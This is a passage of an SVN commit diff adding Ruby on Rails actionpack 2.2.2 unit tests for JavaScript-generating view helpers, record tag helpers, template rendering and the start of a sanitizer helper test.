+  end
+
+  def test_remote_form_for_with_record_identification_with_existing_record
+    @record.save
+    remote_form_for(@record) {}
+
+    expected = %(<form action='#{author_path(@record)}' id='edit_author_1' method='post' onsubmit="new Ajax.Request('#{author_path(@record)}', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;" class='edit_author'><div style='margin:0;padding:0'><input name='_method' type='hidden' value='put' /></div></form>)
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_remote_form_for_with_new_object_in_list
+    remote_form_for([@author, @article]) {}
+
+    expected = %(<form action='#{author_articles_path(@author)}' onsubmit="new Ajax.Request('#{author_articles_path(@author)}', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;" class='new_article' method='post' id='new_article'></form>)
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_remote_form_for_with_existing_object_in_list
+    @author.save
+    @article.save
+    remote_form_for([@author, @article]) {}
+
+    expected = %(<form action='#{author_article_path(@author, @article)}' id='edit_article_1' method='post' onsubmit="new Ajax.Request('#{author_article_path(@author, @article)}', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;" class='edit_article'><div style='margin:0;padding:0'><input name='_method' type='hidden' value='put' /></div></form>)
+    assert_dom_equal expected, output_buffer
+  end
+
+  def test_on_callbacks
+    callbacks = [:uninitialized, :loading, :loaded, :interactive, :complete, :success, :failure]
+    callbacks.each do |callback|
+      assert_dom_equal %(<form action=\"http://www.example.com/fast\" method=\"post\" onsubmit=\"new Ajax.Updater('glass_of_beer', 'http://www.example.com/fast', {asynchronous:true, evalScripts:true, on#{callback.to_s.capitalize}:function(request){monkeys();}, parameters:Form.serialize(this)}); return false;">),
+        form_remote_tag(:update => "glass_of_beer", :url => { :action => :fast  }, callback=>"monkeys();")
+      assert_dom_equal %(<form action=\"http://www.example.com/fast\" method=\"post\" onsubmit=\"new Ajax.Updater({success:'glass_of_beer'}, 'http://www.example.com/fast', {asynchronous:true, evalScripts:true, on#{callback.to_s.capitalize}:function(request){monkeys();}, parameters:Form.serialize(this)}); return false;">),
+        form_remote_tag(:update => { :success => "glass_of_beer" }, :url => { :action => :fast  }, callback=>"monkeys();")
+      assert_dom_equal %(<form action=\"http://www.example.com/fast\" method=\"post\" onsubmit=\"new Ajax.Updater({failure:'glass_of_beer'}, 'http://www.example.com/fast', {asynchronous:true, evalScripts:true, on#{callback.to_s.capitalize}:function(request){monkeys();}, parameters:Form.serialize(this)}); return false;">),
+        form_remote_tag(:update => { :failure => "glass_of_beer" }, :url => { :action => :fast  }, callback=>"monkeys();")
+      assert_dom_equal %(<form action=\"http://www.example.com/fast\" method=\"post\" onsubmit=\"new Ajax.Updater({success:'glass_of_beer',failure:'glass_of_water'}, 'http://www.example.com/fast', {asynchronous:true, evalScripts:true, on#{callback.to_s.capitalize}:function(request){monkeys();}, parameters:Form.serialize(this)}); return false;">),
+        form_remote_tag(:update => { :success => "glass_of_beer", :failure => "glass_of_water" }, :url => { :action => :fast  }, callback=>"monkeys();")
+    end
+
+    #HTTP status codes 200 up to 599 have callbacks
+    #these should work
+    100.upto(599) do |callback|
+      assert_dom_equal %(<form action=\"http://www.example.com/fast\" method=\"post\" onsubmit=\"new Ajax.Updater('glass_of_beer', 'http://www.example.com/fast', {asynchronous:true, evalScripts:true, on#{callback.to_s.capitalize}:function(request){monkeys();}, parameters:Form.serialize(this)}); return false;">),
+        form_remote_tag(:update => "glass_of_beer", :url => { :action => :fast  }, callback=>"monkeys();")
+    end
+
+    #test 200 and 404
+    assert_dom_equal %(<form action=\"http://www.example.com/fast\" method=\"post\" onsubmit=\"new Ajax.Updater('glass_of_beer', 'http://www.example.com/fast', {asynchronous:true, evalScripts:true, on200:function(request){monkeys();}, on404:function(request){bananas();}, parameters:Form.serialize(this)}); return false;">),
+      form_remote_tag(:update => "glass_of_beer", :url => { :action => :fast  }, 200=>"monkeys();", 404=>"bananas();")
+
+    #these shouldn't
+    1.upto(99) do |callback|
+      assert_dom_equal %(<form action=\"http://www.example.com/fast\" method=\"post\" onsubmit=\"new Ajax.Updater('glass_of_beer', 'http://www.example.com/fast', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;">),
+        form_remote_tag(:update => "glass_of_beer", :url => { :action => :fast  }, callback=>"monkeys();")
+    end
+    600.upto(999) do |callback|
+      assert_dom_equal %(<form action=\"http://www.example.com/fast\" method=\"post\" onsubmit=\"new Ajax.Updater('glass_of_beer', 'http://www.example.com/fast', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;">),
+        form_remote_tag(:update => "glass_of_beer", :url => { :action => :fast  }, callback=>"monkeys();")
+    end
+
+    #test ultimate combo
+    assert_dom_equal %(<form action=\"http://www.example.com/fast\" method=\"post\" onsubmit=\"new Ajax.Updater('glass_of_beer', 'http://www.example.com/fast', {asynchronous:true, evalScripts:true, on200:function(request){monkeys();}, on404:function(request){bananas();}, onComplete:function(request){c();}, onFailure:function(request){f();}, onLoading:function(request){c1()}, onSuccess:function(request){s()}, parameters:Form.serialize(this)}); return false;\">),
+      form_remote_tag(:update => "glass_of_beer", :url => { :action => :fast  }, :loading => "c1()", :success => "s()", :failure => "f();", :complete => "c();", 200=>"monkeys();", 404=>"bananas();")
+
+  end
+
+  def test_submit_to_remote
+    assert_dom_equal %(<input name=\"More beer!\" onclick=\"new Ajax.Updater('empty_bottle', 'http://www.example.com/', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this.form)});\" type=\"button\" value=\"1000000\" />),
+      submit_to_remote("More beer!", 1_000_000, :update => "empty_bottle")
+  end
+
+  def test_observe_field
+    assert_dom_equal %(<script type=\"text/javascript\">\n//<![CDATA[\nnew Form.Element.Observer('glass', 300, function(element, value) {new Ajax.Request('http://www.example.com/reorder_if_empty', {asynchronous:true, evalScripts:true, parameters:value})})\n//]]>\n</script>),
+      observe_field("glass", :frequency => 5.minutes, :url => { :action => "reorder_if_empty" })
+  end
+
+  def test_observe_field_using_with_option
+    expected = %(<script type=\"text/javascript\">\n//<![CDATA[\nnew Form.Element.Observer('glass', 300, function(element, value) {new Ajax.Request('http://www.example.com/check_value', {asynchronous:true, evalScripts:true, parameters:'id=' + encodeURIComponent(value)})})\n//]]>\n</script>)
+    assert_dom_equal expected, observe_field("glass", :frequency => 5.minutes, :url => { :action => "check_value" }, :with => 'id')
+    assert_dom_equal expected, observe_field("glass", :frequency => 5.minutes, :url => { :action => "check_value" }, :with => "'id=' + encodeURIComponent(value)")
+  end
+
+  def test_observe_field_using_json_in_with_option
+    expected = %(<script type=\"text/javascript\">\n//<![CDATA[\nnew Form.Element.Observer('glass', 300, function(element, value) {new Ajax.Request('http://www.example.com/check_value', {asynchronous:true, evalScripts:true, parameters:{'id':value}})})\n//]]>\n</script>)
+    assert_dom_equal expected, observe_field("glass", :frequency => 5.minutes, :url => { :action => "check_value" }, :with => "{'id':value}")
+  end
+
+  def test_observe_field_using_function_for_callback
+    assert_dom_equal %(<script type=\"text/javascript\">\n//<![CDATA[\nnew Form.Element.Observer('glass', 300, function(element, value) {alert('Element changed')})\n//]]>\n</script>),
+      observe_field("glass", :frequency => 5.minutes, :function => "alert('Element changed')")
+  end
+
+  def test_observe_form
+    assert_dom_equal %(<script type=\"text/javascript\">\n//<![CDATA[\nnew Form.Observer('cart', 2, function(element, value) {new Ajax.Request('http://www.example.com/cart_changed', {asynchronous:true, evalScripts:true, parameters:value})})\n//]]>\n</script>),
+      observe_form("cart", :frequency => 2, :url => { :action => "cart_changed" })
+  end
+
+  def test_observe_form_using_function_for_callback
+    assert_dom_equal %(<script type=\"text/javascript\">\n//<![CDATA[\nnew Form.Observer('cart', 2, function(element, value) {alert('Form changed')})\n//]]>\n</script>),
+      observe_form("cart", :frequency => 2, :function => "alert('Form changed')")
+  end
+
+  def test_observe_field_without_frequency
+    assert_dom_equal %(<script type=\"text/javascript\">\n//<![CDATA[\nnew Form.Element.EventObserver('glass', function(element, value) {new Ajax.Request('http://www.example.com/', {asynchronous:true, evalScripts:true, parameters:value})})\n//]]>\n</script>),
+      observe_field("glass")
+  end
+
+  def test_update_page
+    old_output_buffer = output_buffer
+
+    block = Proc.new { |page| page.replace_html('foo', 'bar') }
+    assert_equal create_generator(&block).to_s, update_page(&block)
+
+    assert_equal old_output_buffer, output_buffer
+  end
+
+  def test_update_page_tag
+    block = Proc.new { |page| page.replace_html('foo', 'bar') }
+    assert_equal javascript_tag(create_generator(&block).to_s), update_page_tag(&block)
+  end
+
+  def test_update_page_tag_with_html_options
+    block = Proc.new { |page| page.replace_html('foo', 'bar') }
+    assert_equal javascript_tag(create_generator(&block).to_s, {:defer => 'true'}), update_page_tag({:defer => 'true'}, &block)
+  end
+
+
+  protected
+    def author_path(record)
+      "/authors/#{record.id}"
+    end
+
+    def authors_path
+      "/authors"
+    end
+
+    def author_articles_path(author)
+      "/authors/#{author.id}/articles"
+    end
+
+    def author_article_path(author, article)
+      "/authors/#{author.id}/articles/#{article.id}"
+    end
+end
+
+class JavaScriptGeneratorTest < PrototypeHelperBaseTest
+  def setup
+    super
+    @generator = create_generator
+  end
+
+  def test_insert_html_with_string
+    assert_equal 'Element.insert("element", { top: "\\u003Cp\\u003EThis is a test\\u003C/p\\u003E" });',
+      @generator.insert_html(:top, 'element', '<p>This is a test</p>')
+    assert_equal 'Element.insert("element", { bottom: "\\u003Cp\u003EThis is a test\\u003C/p\u003E" });',
+      @generator.insert_html(:bottom, 'element', '<p>This is a test</p>')
+    assert_equal 'Element.insert("element", { before: "\\u003Cp\u003EThis is a test\\u003C/p\u003E" });',
+      @generator.insert_html(:before, 'element', '<p>This is a test</p>')
+    assert_equal 'Element.insert("element", { after: "\\u003Cp\u003EThis is a test\\u003C/p\u003E" });',
+      @generator.insert_html(:after, 'element', '<p>This is a test</p>')
+  end
+
+  def test_replace_html_with_string
+    assert_equal 'Element.update("element", "\\u003Cp\\u003EThis is a test\\u003C/p\\u003E");',
+      @generator.replace_html('element', '<p>This is a test</p>')
+  end
+
+  def test_replace_element_with_string
+    assert_equal 'Element.replace("element", "\\u003Cdiv id=\"element\"\\u003E\\u003Cp\\u003EThis is a test\\u003C/p\\u003E\\u003C/div\\u003E");',
+      @generator.replace('element', '<div id="element"><p>This is a test</p></div>')
+  end
+
+  def test_remove
+    assert_equal 'Element.remove("foo");',
+      @generator.remove('foo')
+    assert_equal '["foo", "bar", "baz"].each(Element.remove);',
+      @generator.remove('foo', 'bar', 'baz')
+  end
+
+  def test_show
+    assert_equal 'Element.show("foo");',
+      @generator.show('foo')
+    assert_equal '["foo", "bar", "baz"].each(Element.show);',
+      @generator.show('foo', 'bar', 'baz')
+  end
+
+  def test_hide
+    assert_equal 'Element.hide("foo");',
+      @generator.hide('foo')
+    assert_equal '["foo", "bar", "baz"].each(Element.hide);',
+      @generator.hide('foo', 'bar', 'baz')
+  end
+
+  def test_toggle
+    assert_equal 'Element.toggle("foo");',
+      @generator.toggle('foo')
+    assert_equal '["foo", "bar", "baz"].each(Element.toggle);',
+      @generator.toggle('foo', 'bar', 'baz')
+  end
+
+  def test_alert
+    assert_equal 'alert("hello");', @generator.alert('hello')
+  end
+
+  def test_redirect_to
+    assert_equal 'window.location.href = "http://www.example.com/welcome";',
+      @generator.redirect_to(:action => 'welcome')
+    assert_equal 'window.location.href = "http://www.example.com/welcome?a=b&c=d";',
+      @generator.redirect_to("http://www.example.com/welcome?a=b&c=d")
+  end
+
+  def test_reload
+    assert_equal 'window.location.reload();',
+      @generator.reload
+  end
+
+  def test_delay
+    @generator.delay(20) do
+      @generator.hide('foo')
+    end
+
+    assert_equal "setTimeout(function() {\n;\nElement.hide(\"foo\");\n}, 20000);", @generator.to_s
+  end
+
+  def test_to_s
+    @generator.insert_html(:top, 'element', '<p>This is a test</p>')
+    @generator.insert_html(:bottom, 'element', '<p>This is a test</p>')
+    @generator.remove('foo', 'bar')
+    @generator.replace_html('baz', '<p>This is a test</p>')
+
+    assert_equal <<-EOS.chomp, @generator.to_s
+Element.insert("element", { top: "\\u003Cp\\u003EThis is a test\\u003C/p\\u003E" });
+Element.insert("element", { bottom: "\\u003Cp\\u003EThis is a test\\u003C/p\\u003E" });
+["foo", "bar"].each(Element.remove);
+Element.update("baz", "\\u003Cp\\u003EThis is a test\\u003C/p\\u003E");
+    EOS
+  end
+
+  def test_element_access
+    assert_equal %($("hello");), @generator['hello']
+  end
+
+  def test_element_access_on_records
+    assert_equal %($("bunny_5");),   @generator[Bunny.new(:id => 5)]
+    assert_equal %($("new_bunny");), @generator[Bunny.new]
+  end
+
+  def test_element_proxy_one_deep
+    @generator['hello'].hide
+    assert_equal %($("hello").hide();), @generator.to_s
+  end
+
+  def test_element_proxy_variable_access
+    @generator['hello']['style']
+    assert_equal %($("hello").style;), @generator.to_s
+  end
+
+  def test_element_proxy_variable_access_with_assignment
+    @generator['hello']['style']['color'] = 'red'
+    assert_equal %($("hello").style.color = "red";), @generator.to_s
+  end
+
+  def test_element_proxy_assignment
+    @generator['hello'].width = 400
+    assert_equal %($("hello").width = 400;), @generator.to_s
+  end
+
+  def test_element_proxy_two_deep
+    @generator['hello'].hide("first").clean_whitespace
+    assert_equal %($("hello").hide("first").cleanWhitespace();), @generator.to_s
+  end
+
+  def test_select_access
+    assert_equal %($$("div.hello");), @generator.select('div.hello')
+  end
+
+  def test_select_proxy_one_deep
+    @generator.select('p.welcome b').first.hide
+    assert_equal %($$("p.welcome b").first().hide();), @generator.to_s
+  end
+
+  def test_visual_effect
+    assert_equal %(new Effect.Puff("blah",{});),
+      @generator.visual_effect(:puff,'blah')
+  end
+
+  def test_visual_effect_toggle
+    assert_equal %(Effect.toggle("blah",'appear',{});),
+      @generator.visual_effect(:toggle_appear,'blah')
+  end
+
+  def test_sortable
+    assert_equal %(Sortable.create("blah", {onUpdate:function(){new Ajax.Request('http://www.example.com/order', {asynchronous:true, evalScripts:true, parameters:Sortable.serialize("blah")})}});),
+      @generator.sortable('blah', :url => { :action => "order" })
+    assert_equal %(Sortable.create("blah", {onUpdate:function(){new Ajax.Request('http://www.example.com/order', {asynchronous:false, evalScripts:true, parameters:Sortable.serialize("blah")})}});),
+      @generator.sortable('blah', :url => { :action => "order" }, :type => :synchronous)
+  end
+
+  def test_draggable
+    assert_equal %(new Draggable("blah", {});),
+      @generator.draggable('blah')
+  end
+
+  def test_drop_receiving
+    assert_equal %(Droppables.add("blah", {onDrop:function(element){new Ajax.Request('http://www.example.com/order', {asynchronous:true, evalScripts:true, parameters:'id=' + encodeURIComponent(element.id)})}});),
+      @generator.drop_receiving('blah', :url => { :action => "order" })
+    assert_equal %(Droppables.add("blah", {onDrop:function(element){new Ajax.Request('http://www.example.com/order', {asynchronous:false, evalScripts:true, parameters:'id=' + encodeURIComponent(element.id)})}});),
+      @generator.drop_receiving('blah', :url => { :action => "order" }, :type => :synchronous)
+  end
+
+  def test_collection_first_and_last
+    @generator.select('p.welcome b').first.hide()
+    @generator.select('p.welcome b').last.show()
+    assert_equal <<-EOS.strip, @generator.to_s
+$$("p.welcome b").first().hide();
+$$("p.welcome b").last().show();
+      EOS
+  end
+
+  def test_collection_proxy_with_each
+    @generator.select('p.welcome b').each do |value|
+      value.remove_class_name 'selected'
+    end
+    @generator.select('p.welcome b').each do |value, index|
+      @generator.visual_effect :highlight, value
+    end
+    assert_equal <<-EOS.strip, @generator.to_s
+$$("p.welcome b").each(function(value, index) {
+value.removeClassName("selected");
+});
+$$("p.welcome b").each(function(value, index) {
+new Effect.Highlight(value,{});
+});
+      EOS
+  end
+
+  def test_collection_proxy_on_collect
+    @generator.select('p').collect('a') { |para| para.show }
+    @generator.select('p').collect { |para| para.hide }
+    assert_equal <<-EOS.strip, @generator.to_s
+var a = $$("p").collect(function(value, index) {
+return value.show();
+});
+$$("p").collect(function(value, index) {
+return value.hide();
+});
+    EOS
+    @generator = create_generator
+  end
+
+  def test_collection_proxy_with_grep
+    @generator.select('p').grep 'a', /^a/ do |value|
+      @generator << '(value.className == "welcome")'
+    end
+    @generator.select('p').grep 'b', /b$/ do |value, index|
+      @generator.call 'alert', value
+      @generator << '(value.className == "welcome")'
+    end
+
+    assert_equal <<-EOS.strip, @generator.to_s
+var a = $$("p").grep(/^a/, function(value, index) {
+return (value.className == "welcome");
+});
+var b = $$("p").grep(/b$/, function(value, index) {
+alert(value);
+return (value.className == "welcome");
+});
+    EOS
+  end
+
+  def test_collection_proxy_with_inject
+    @generator.select('p').inject 'a', [] do |memo, value|
+      @generator << '(value.className == "welcome")'
+    end
+    @generator.select('p').inject 'b', nil do |memo, value, index|
+      @generator.call 'alert', memo
+      @generator << '(value.className == "welcome")'
+    end
+
+    assert_equal <<-EOS.strip, @generator.to_s
+var a = $$("p").inject([], function(memo, value, index) {
+return (value.className == "welcome");
+});
+var b = $$("p").inject(null, function(memo, value, index) {
+alert(memo);
+return (value.className == "welcome");
+});
+    EOS
+  end
+
+  def test_collection_proxy_with_pluck
+    @generator.select('p').pluck('a', 'className')
+    assert_equal %(var a = $$("p").pluck("className");), @generator.to_s
+  end
+
+  def test_collection_proxy_with_zip
+    ActionView::Helpers::JavaScriptCollectionProxy.new(@generator, '[1, 2, 3]').zip('a', [4, 5, 6], [7, 8, 9])
+    ActionView::Helpers::JavaScriptCollectionProxy.new(@generator, '[1, 2, 3]').zip('b', [4, 5, 6], [7, 8, 9]) do |array|
+      @generator.call 'array.reverse'
+    end
+
+    assert_equal <<-EOS.strip, @generator.to_s
+var a = [1, 2, 3].zip([4, 5, 6], [7, 8, 9]);
+var b = [1, 2, 3].zip([4, 5, 6], [7, 8, 9], function(array) {
+return array.reverse();
+});
+    EOS
+  end
+
+  def test_collection_proxy_with_find_all
+    @generator.select('p').find_all 'a' do |value, index|
+      @generator << '(value.className == "welcome")'
+    end
+
+    assert_equal <<-EOS.strip, @generator.to_s
+var a = $$("p").findAll(function(value, index) {
+return (value.className == "welcome");
+});
+    EOS
+  end
+
+  def test_collection_proxy_with_in_groups_of
+    @generator.select('p').in_groups_of('a', 3)
+    @generator.select('p').in_groups_of('a', 3, 'x')
+    assert_equal <<-EOS.strip, @generator.to_s
+var a = $$("p").inGroupsOf(3);
+var a = $$("p").inGroupsOf(3, "x");
+    EOS
+  end
+
+  def test_collection_proxy_with_each_slice
+    @generator.select('p').each_slice('a', 3)
+    @generator.select('p').each_slice('a', 3) do |group, index|
+      group.reverse
+    end
+
+    assert_equal <<-EOS.strip, @generator.to_s
+var a = $$("p").eachSlice(3);
+var a = $$("p").eachSlice(3, function(value, index) {
+return value.reverse();
+});
+    EOS
+  end
+
+  def test_debug_rjs
+    ActionView::Base.debug_rjs = true
+    @generator['welcome'].replace_html 'Welcome'
+    assert_equal "try {\n$(\"welcome\").update(\"Welcome\");\n} catch (e) { alert('RJS error:\\n\\n' + e.toString()); alert('$(\\\"welcome\\\").update(\\\"Welcome\\\");'); throw e }", @generator.to_s
+  ensure
+    ActionView::Base.debug_rjs = false
+  end
+
+  def test_literal
+    literal = @generator.literal("function() {}")
+    assert_equal "function() {}", literal.to_json
+    assert_equal "", @generator.to_s
+  end
+
+  def test_class_proxy
+    @generator.form.focus('my_field')
+    assert_equal "Form.focus(\"my_field\");", @generator.to_s
+  end
+
+  def test_call_with_block
+    @generator.call(:before)
+    @generator.call(:my_method) do |p|
+      p[:one].show
+      p[:two].hide
+    end
+    @generator.call(:in_between)
+    @generator.call(:my_method_with_arguments, true, "hello") do |p|
+      p[:three].visual_effect(:highlight)
+    end
+    assert_equal "before();\nmy_method(function() { $(\"one\").show();\n$(\"two\").hide(); });\nin_between();\nmy_method_with_arguments(true, \"hello\", function() { $(\"three\").visualEffect(\"highlight\"); });", @generator.to_s
+  end
+
+  def test_class_proxy_call_with_block
+    @generator.my_object.my_method do |p|
+      p[:one].show
+      p[:two].hide
+    end
+    assert_equal "MyObject.myMethod(function() { $(\"one\").show();\n$(\"two\").hide(); });", @generator.to_s
+  end
+end
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/record_tag_helper_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/record_tag_helper_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/record_tag_helper_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,58 @@
+require 'abstract_unit'
+
+class Post
+  def id
+     45
+  end
+  def body
+    "What a wonderful world!"
+  end
+end
+
+class RecordTagHelperTest < ActionView::TestCase
+  tests ActionView::Helpers::RecordTagHelper
+
+  def setup
+    @post = Post.new
+  end
+
+  def test_content_tag_for
+    expected = %(<li class="post bar" id="post_45"></li>)
+    actual = content_tag_for(:li, @post, :class => 'bar') { }
+    assert_dom_equal expected, actual
+  end
+
+  def test_content_tag_for_prefix
+    expected = %(<ul class="post" id="archived_post_45"></ul>)
+    actual = content_tag_for(:ul, @post, :archived) { }
+    assert_dom_equal expected, actual
+  end
+
+  def test_content_tag_for_with_extra_html_tags
+    expected = %(<tr class="post bar" id="post_45" style='background-color: #f0f0f0'></tr>)
+    actual = content_tag_for(:tr, @post, {:class => "bar", :style => "background-color: #f0f0f0"}) { }
+    assert_dom_equal expected, actual
+  end
+
+  def test_block_not_in_erb_multiple_calls
+    expected = %(<div class="post bar" id="post_45">#{@post.body}</div>)
+    actual = div_for(@post, :class => "bar") { @post.body }
+    assert_dom_equal expected, actual
+    actual = div_for(@post, :class => "bar") { @post.body }
+    assert_dom_equal expected, actual
+  end
+
+  def test_block_works_with_content_tag_for_in_erb
+    __in_erb_template = ''
+    expected = %(<tr class="post" id="post_45">#{@post.body}</tr>)
+    actual = content_tag_for(:tr, @post) { concat @post.body }
+    assert_dom_equal expected, actual
+  end
+
+  def test_div_for_in_erb
+    __in_erb_template = ''
+    expected = %(<div class="post bar" id="post_45">#{@post.body}</div>)
+    actual = div_for(@post, :class => "bar") { concat @post.body }
+    assert_dom_equal expected, actual
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/render_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/render_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/render_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,193 @@
+require 'abstract_unit'
+require 'controller/fake_models'
+
+class ViewRenderTest < Test::Unit::TestCase
+  def setup
+    @assigns = { :secret => 'in the sauce' }
+    @view = ActionView::Base.new(ActionController::Base.view_paths, @assigns)
+  end
+
+  def test_render_file
+    assert_deprecated do
+      assert_equal "Hello world!", @view.render("test/hello_world.erb")
+    end
+  end
+
+  def test_render_file_not_using_full_path
+    assert_equal "Hello world!", @view.render(:file => "test/hello_world.erb")
+  end
+
+  def test_render_file_without_specific_extension
+    assert_deprecated do
+      assert_equal "Hello world!", @view.render("test/hello_world")
+    end
+  end
+
+  def test_render_file_at_top_level
+    assert_deprecated do
+      assert_equal 'Elastica', @view.render('/shared')
+    end
+  end
+
+  def test_render_file_with_full_path
+    template_path = File.join(File.dirname(__FILE__), '../fixtures/test/hello_world.erb')
+    assert_equal "Hello world!", @view.render(:file => template_path)
+  end
+
+  def test_render_file_with_instance_variables
+    assert_deprecated do
+      assert_equal "The secret is in the sauce\n", @view.render("test/render_file_with_ivar.erb")
+    end
+  end
+
+  def test_render_file_with_locals
+    locals = { :secret => 'in the sauce' }
+    assert_deprecated do
+      assert_equal "The secret is in the sauce\n", @view.render("test/render_file_with_locals.erb", locals)
+    end
+  end
+
+  def test_render_file_not_using_full_path_with_dot_in_path
+    assert_deprecated do
+      assert_equal "The secret is in the sauce\n", @view.render("test/dot.directory/render_file_with_ivar")
+    end
+  end
+
+  def test_render_has_access_current_template
+    assert_deprecated do
+      assert_equal "test/template.erb", @view.render("test/template.erb")
+    end
+  end
+
+  def test_render_update
+    # TODO: You should not have to stub out template because template is self!
+    @view.instance_variable_set(:@template, @view)
+    assert_equal 'alert("Hello, World!");', @view.render(:update) { |page| page.alert('Hello, World!') }
+  end
+
+  def test_render_partial
+    assert_equal "only partial", @view.render(:partial => "test/partial_only")
+  end
+
+  def test_render_partial_with_format
+    assert_equal 'partial html', @view.render(:partial => 'test/partial')
+  end
+
+  def test_render_partial_at_top_level
+    # file fixtures/_top_level_partial_only.erb (not fixtures/test)
+    assert_equal 'top level partial', @view.render(:partial => '/top_level_partial_only')
+  end
+
+  def test_render_partial_with_format_at_top_level
+    # file fixtures/_top_level_partial.html.erb (not fixtures/test, with format extension)
+    assert_equal 'top level partial html', @view.render(:partial => '/top_level_partial')
+  end
+
+  def test_render_partial_with_locals
+    assert_equal "5", @view.render(:partial => "test/counter", :locals => { :counter_counter => 5 })
+  end
+
+  def test_render_partial_with_errors
+    @view.render(:partial => "test/raise")
+    flunk "Render did not raise TemplateError"
+  rescue ActionView::TemplateError => e
+    assert_match "undefined local variable or method `doesnt_exist'", e.message
+    assert_equal "", e.sub_template_message
+    assert_equal "1", e.line_number
+    assert_equal File.expand_path("#{FIXTURE_LOAD_PATH}/test/_raise.html.erb"), e.file_name
+  end
+
+  def test_render_sub_template_with_errors
+    @view.render(:file => "test/sub_template_raise")
+    flunk "Render did not raise TemplateError"
+  rescue ActionView::TemplateError => e
+    assert_match "undefined local variable or method `doesnt_exist'", e.message
+    assert_equal "Trace of template inclusion: #{File.expand_path("#{FIXTURE_LOAD_PATH}/test/sub_template_raise.html.erb")}", e.sub_template_message
+    assert_equal "1", e.line_number
+    assert_equal File.expand_path("#{FIXTURE_LOAD_PATH}/test/_raise.html.erb"), e.file_name
+  end
+
+  def test_render_partial_collection
+    assert_equal "Hello: davidHello: mary", @view.render(:partial => "test/customer", :collection => [ Customer.new("david"), Customer.new("mary") ])
+  end
+
+  def test_render_partial_collection_as
+    assert_equal "david david davidmary mary mary",
+      @view.render(:partial => "test/customer_with_var", :collection => [ Customer.new("david"), Customer.new("mary") ], :as => :customer)
+  end
+
+  def test_render_partial_collection_without_as
+    assert_equal "local_inspector,local_inspector_counter,object",
+      @view.render(:partial => "test/local_inspector", :collection => [ Customer.new("mary") ])
+  end
+
+  def test_render_partial_with_empty_collection_should_return_nil
+    assert_nil @view.render(:partial => "test/customer", :collection => [])
+  end
+
+  def test_render_partial_with_nil_collection_should_return_nil
+    assert_nil @view.render(:partial => "test/customer", :collection => nil)
+  end
+
+  def test_render_partial_with_nil_values_in_collection
+    assert_equal "Hello: davidHello: Anonymous", @view.render(:partial => "test/customer", :collection => [ Customer.new("david"), nil ])
+  end
+
+  def test_render_partial_with_empty_array_should_return_nil
+    assert_nil @view.render(:partial => [])
+  end
+
+  # TODO: The reason for this test is unclear, improve documentation
+  def test_render_partial_and_fallback_to_layout
+    assert_equal "Before (Josh)\n\nAfter", @view.render(:partial => "test/layout_for_partial", :locals => { :name => "Josh" })
+  end
+
+  # TODO: The reason for this test is unclear, improve documentation
+  def test_render_js_partial_and_fallback_to_erb_layout
+    @view.template_format = :js
+    assert_equal "Before (Josh)\n\nAfter", @view.render(:partial => "test/layout_for_partial", :locals => { :name => "Josh" })
+  end
+
+  # TODO: The reason for this test is unclear, improve documentation
+  def test_render_missing_xml_partial_and_raise_missing_template
+    @view.template_format = :xml
+    assert_raise(ActionView::MissingTemplate) { @view.render(:partial => "test/layout_for_partial") }
+  end
+
+  def test_render_inline
+    assert_equal "Hello, World!", @view.render(:inline => "Hello, World!")
+  end
+
+  def test_render_inline_with_locals
+    assert_equal "Hello, Josh!", @view.render(:inline => "Hello, <%= name %>!", :locals => { :name => "Josh" })
+  end
+
+  def test_render_fallbacks_to_erb_for_unknown_types
+    assert_equal "Hello, World!", @view.render(:inline => "Hello, World!", :type => :foo)
+  end
+
+  CustomHandler = lambda do |template|
+    "@output_buffer = ''\n" +
+      "@output_buffer << 'source: #{template.source.inspect}'\n"
+  end
+
+  def test_render_inline_with_compilable_custom_type
+    ActionView::Template.register_template_handler :foo, CustomHandler
+    assert_equal 'source: "Hello, World!"', @view.render(:inline => "Hello, World!", :type => :foo)
+  end
+
+  def test_render_inline_with_locals_and_compilable_custom_type
+    ActionView::Template.register_template_handler :foo, CustomHandler
+    assert_equal 'source: "Hello, <%= name %>!"', @view.render(:inline => "Hello, <%= name %>!", :locals => { :name => "Josh" }, :type => :foo)
+  end
+
+  def test_render_with_layout
+    assert_equal %(<title></title>\nHello world!\n),
+      @view.render(:file => "test/hello_world.erb", :layout => "layouts/yield")
+  end
+
+  def test_render_with_nested_layout
+    assert_equal %(<title>title</title>\n<div id="column">column</div>\n<div id="content">content</div>\n),
+      @view.render(:file => "test/nested_layout.erb", :layout => "layouts/yield")
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/sanitize_helper_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/sanitize_helper_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/template/sanitize_helper_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,48 @@
+require 'abstract_unit'
+require 'testing_sandbox'
+
+# The exhaustive tests are in test/controller/html/sanitizer_test.rb.
+# This tests the that the helpers hook up correctly to the sanitizer classes.
+class SanitizeHelperTest < ActionView::TestCase
+  tests ActionView::Helpers::SanitizeHelper
+  include TestingSandbox
+
+  def test_strip_links
+    assert_equal "Dont touch me", strip_links("Dont touch me")
+    assert_equal "<a<a", strip_links("<a<a")
